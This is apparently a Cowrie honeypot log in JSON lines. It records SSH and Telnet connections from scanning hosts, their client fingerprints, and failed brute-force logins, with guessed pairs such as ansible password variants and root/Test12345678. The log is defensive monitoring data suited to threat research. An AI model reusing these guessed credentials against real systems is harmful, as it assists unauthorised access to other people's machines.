{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44866,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e4087edafd","protocol":"ssh","message":"New connection: 159.203.92.129:44866 (159.203.135.109:22) [session: 64e4087edafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:13.650070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:13.654844Z","src_ip":"159.203.92.129","session":"64e4087edafd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:13.659463Z","src_ip":"159.203.92.129","session":"64e4087edafd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible1234@abc","message":"login attempt [ansible/ansible1234@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:13.673032Z","src_ip":"159.203.92.129","session":"64e4087edafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:14.691970Z","src_ip":"159.203.92.129","session":"64e4087edafd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":54894,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cbeae9f7cd2","protocol":"ssh","message":"New connection: 80.94.92.182:54894 (10.17.0.5:22) [session: 4cbeae9f7cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:16.949958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:17.046551Z","src_ip":"80.94.92.182","session":"4cbeae9f7cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:17.258476Z","src_ip":"80.94.92.182","session":"4cbeae9f7cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:17.903997Z","src_ip":"80.94.92.182","session":"4cbeae9f7cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.33300590515137,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:18.240612Z","src_ip":"139.162.207.207","session":"770221f8f4a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.035260915756226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:18.801200Z","src_ip":"103.157.135.60","session":"9f84a1ededda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:19.101702Z","src_ip":"80.94.92.182","session":"4cbeae9f7cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.764066219329834,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:22.588389Z","src_ip":"139.162.207.207","session":"fdb8a0a38590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898178100585938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:22.670527Z","src_ip":"103.157.135.60","session":"b4e8314a2688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091500520706177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:37.629403Z","src_ip":"103.157.135.60","session":"b4a7fd938478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242560386657715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:37.647008Z","src_ip":"103.157.135.60","session":"63c0fdaf732d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858861446380615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:37.964641Z","src_ip":"103.157.135.60","session":"c126bd0c04a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.476170301437378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:38.974900Z","src_ip":"103.157.135.60","session":"41911102bcb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":36006,"dst_ip":"10.17.0.5","dst_port":23,"session":"b05e55935818","protocol":"telnet","message":"New connection: 103.157.135.60:36006 (10.17.0.5:23) [session: b05e55935818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:43.486469Z"}
{"eventid":"cowrie.session.closed","duration":36.19491243362427,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:43.897877Z","src_ip":"139.162.207.207","session":"144105663e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"475bb8ed4d69","protocol":"telnet","message":"New connection: 103.157.135.60:38916 (10.17.0.5:23) [session: 475bb8ed4d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:44.996664Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48860,"dst_ip":"159.203.135.109","dst_port":22,"session":"c852cf4829ed","protocol":"ssh","message":"New connection: 159.203.92.129:48860 (159.203.135.109:22) [session: c852cf4829ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:58.690797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:58.695543Z","src_ip":"159.203.92.129","session":"c852cf4829ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:58.700254Z","src_ip":"159.203.92.129","session":"c852cf4829ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible123@123a","message":"login attempt [ansible/ansible123@123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:58.711497Z","src_ip":"159.203.92.129","session":"c852cf4829ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:54:59.718651Z","src_ip":"159.203.92.129","session":"c852cf4829ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00899052619934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:00.395200Z","src_ip":"92.52.131.58","session":"c0a6b0e473e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.52.131.58","src_port":42574,"dst_ip":"10.17.0.5","dst_port":23,"session":"73f553567db3","protocol":"telnet","message":"New connection: 92.52.131.58:42574 (10.17.0.5:23) [session: 73f553567db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:00.804532Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":34192,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ecc0973fe0","protocol":"telnet","message":"New connection: 139.162.207.207:34192 (10.17.0.5:23) [session: 44ecc0973fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:01.248256Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":42610,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf950c41b519","protocol":"ssh","message":"New connection: 37.143.61.130:42610 (159.203.135.109:22) [session: cf950c41b519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:09.789890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:10.104099Z","src_ip":"37.143.61.130","session":"cf950c41b519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:10.278464Z","src_ip":"37.143.61.130","session":"cf950c41b519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test12345678","message":"login attempt [root/Test12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:11.106724Z","src_ip":"37.143.61.130","session":"cf950c41b519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:12.398921Z","src_ip":"37.143.61.130","session":"cf950c41b519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.273977756500244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:14.760382Z","src_ip":"103.157.135.60","session":"b05e55935818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669429779052734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:15.665979Z","src_ip":"103.157.135.60","session":"475bb8ed4d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54971694946289,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:39.797774Z","src_ip":"139.162.207.207","session":"44ecc0973fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50212,"dst_ip":"159.203.135.109","dst_port":22,"session":"2da27e72d1f0","protocol":"ssh","message":"New connection: 159.203.92.129:50212 (159.203.135.109:22) [session: 2da27e72d1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:41.940202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:41.945210Z","src_ip":"159.203.92.129","session":"2da27e72d1f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:41.949836Z","src_ip":"159.203.92.129","session":"2da27e72d1f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible123abc","message":"login attempt [ansible/ansible123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:41.960389Z","src_ip":"159.203.92.129","session":"2da27e72d1f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:55:42.966731Z","src_ip":"159.203.92.129","session":"2da27e72d1f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55768,"dst_ip":"159.203.135.109","dst_port":22,"session":"07dd3f11b196","protocol":"ssh","message":"New connection: 159.203.92.129:55768 (159.203.135.109:22) [session: 07dd3f11b196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:25.118894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:25.124449Z","src_ip":"159.203.92.129","session":"07dd3f11b196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:25.129015Z","src_ip":"159.203.92.129","session":"07dd3f11b196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2018","message":"login attempt [ansible/ansible2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:25.141575Z","src_ip":"159.203.92.129","session":"07dd3f11b196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:26.149594Z","src_ip":"159.203.92.129","session":"07dd3f11b196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0d7198b391","protocol":"telnet","message":"New connection: 139.162.207.207:51152 (10.17.0.5:23) [session: ac0d7198b391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:56:44.264313Z"}
